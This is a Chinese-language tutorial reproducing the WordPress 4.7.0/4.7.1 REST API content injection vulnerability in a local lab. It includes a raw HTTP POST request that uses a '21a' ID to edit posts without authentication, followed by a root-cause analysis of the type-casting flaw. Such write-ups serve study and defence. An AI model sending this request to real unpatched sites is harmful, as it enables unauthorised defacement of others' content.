WordPress REST API内容注入漏洞复现



  
WordPress REST API内容注入漏洞是由于权限控制失效导致内容注入或修改。该漏洞可以导致WordPress所有文章内容可以未经验证被查看,修改,删除,甚至创建新的文章,危害巨大。

0x01 背景介绍

  WordPress REST API插件提供了一个与语言无关的简单而方便的json数据接口,让我们可以通过HTTP获取简单方便的JSON(JavaScript Object Notation)格式的数据:用户,文章,分类等等。

  获取或更新数据也变得非常简单,只需要发送一个HTTP请求就可以了。需要获取网站的文章?只需要发送一个GET请求到/wp-json/posts,需要更新ID为4的用户?只需要发送一个POST请求到/wp-json/users/4,搜索关键词为 “awesome”的所有文章,发送一个GET请求到/wp-json/posts?filter[s]=awesome

  在4.7.0版本后,REST API插件的功能被集成到WordPress中,WP REST API (WP API) 能让你创建、编辑获取文章(各种WordPress内置的文章类型的文章以及自定义类型的文章)、创建、编辑和获取用户等,因此,它在某些情形下需要认证 (授权),比如创建和编辑操作,就绝对需要授权才行,否则,处理申请会被 WordPress 拒绝。此次漏洞就是由于权限控制失效导致内容注入或修改。该漏洞可以导致WordPress所有文章内容可以未经验证被查看,修改,删除,甚至创建新的文章,危害巨大。

0x02 本地搭建WordPress平台

漏洞影响WordPress版本:4.7.0和4.7.1   

复现环境:Wampserver(Apache2.4.23;PHP7.0.10;MySQL5.7.14)

下载WordPress4.7.1版本程序包,解压到wamp安装目录下即:D;\wamp64\www.

从浏览器打开(127.0.0.1/wamp64/wordpress)按提示进行设置,完成网站搭建。




加载Apache的Mod_rewrite模块:

  (Mod_rewrite模块包括很多工作,其中最常用的就是在网站编辑时声明规则,被Apache实时地将访问者请求的静态URL地址映射为动态查询字符串,并发送给不同的PHP脚本处理。从搜索引擎蜘蛛的角度看来,这些URL地址是静态的,也就是平时我们说的动态网站静态化。)

  一般在安装Apache时已经包含了modrewrite模块。 在Apache的安装目录的modules文件夹下查找一个文件modrewrite,如果找到的话就是已经安装了。

  一般mod_rewrite默认是不启动的,这时我们需要手动启用它。 打开Apache名为“httpd.conf”的配置文件,找到
#LoadModule rewrite_module modules/mod_rewrite.so将#注释符删除,使得Apache在启动时就加载mod_rewrite模块。

并且搜索找到以下代码段:

  将其中的:AllowOverride None改为AllowOverride All
重启服务即可。

设置WordPress站点为固定链接:

  选择非朴素类即可。

  准备工作完成。

0x03 漏洞复现过程

API地址:http://127.0.0.1/wordpress/wp-json

json编码的网页内容

查看文章列表:http://127.0.0.1/wordpress/wp-json/wp/v2/posts

根据文章列表找到每篇文章对应的ID。

检索文章:http://127.0.0.1/wordpress/wp-json/wp/v2/posts/21

修改文章:

POST /wordpress/wp-json/wp/v2/posts/21?id=21 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: application/json
Content-Length: 0
{"title":"x x x x"}

构造以下数据包:

POST /wordpress/wp-json/wp/v2/posts/21?id=21a HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: application/json
Content-Length: 0
{"title":"x x x x"}

返回200,修改成功。

0x03 浅析漏洞产生原因

HTTP客户端可以对资源执行的操作类型:HEAD、GET、POST、PUT、DELETE

检索文章:http://127.0.0.1/wordpress/wp-json/wp/v2/posts/21

  ● 路由(route)是wp/v2/posts/21,不包括wp-json,因为wp-json是API本身的基本路径。

在文件./wp-includes/rest-api/endpoints/class-wp-rest-post-controller.php中

  注册的路由用来数字填充id请求参数,比如上面这个wp-json/wp/v2/posts/21,就是将id参数设置为21。并且其中对路由进行了正则限制,防止攻击者恶意构造id值。但是查看rest-api管理访问的时候,又发现$_GET和$_POST的值的优先级高于路由的正则表达式。这样的话,攻击者就可以发送wp-json/wp/v2/posts/21a的请求,rest-api也就会把21a分配为id参数,这样id值中就不仅仅包涵数字了。

继续发现update_item_permissions_check()

  它将字母数字ID直接传送给了get_post函数,这个函数通过检查帖子是否实际存在以及用户是否有权编辑此帖来验证请求。如果我们发送一个没有相应帖子的ID,我们可以通过权限检查,并被允许继续执行对update_item方法的请求。

这样的id参数需要满足两个条件:

  • 1、使得get_post()函数找不到对应的文章
  • 2、使得update_item ()函数能找到对应的文章

又发现使用wp-posts中的get-instance()静态方法来抓取帖子,

  可以看出,对于不是由纯数字组成的任何输入,其基本上会失败 。
这意味着WordPress(将其视作具有足够权限编辑此帖的用户)会运行update_item方法。
而update_item方法的作用是:WordPress在向get-post传参之前会将ID参数转换为一个整数。又因为PHP进行类型转换的方式,进而导致了将21a转换成21。

漏洞产生的逻辑过程

参考链接:
新曝WordPress REST API内容注入漏洞详解 WordPress REST API 内容注入漏洞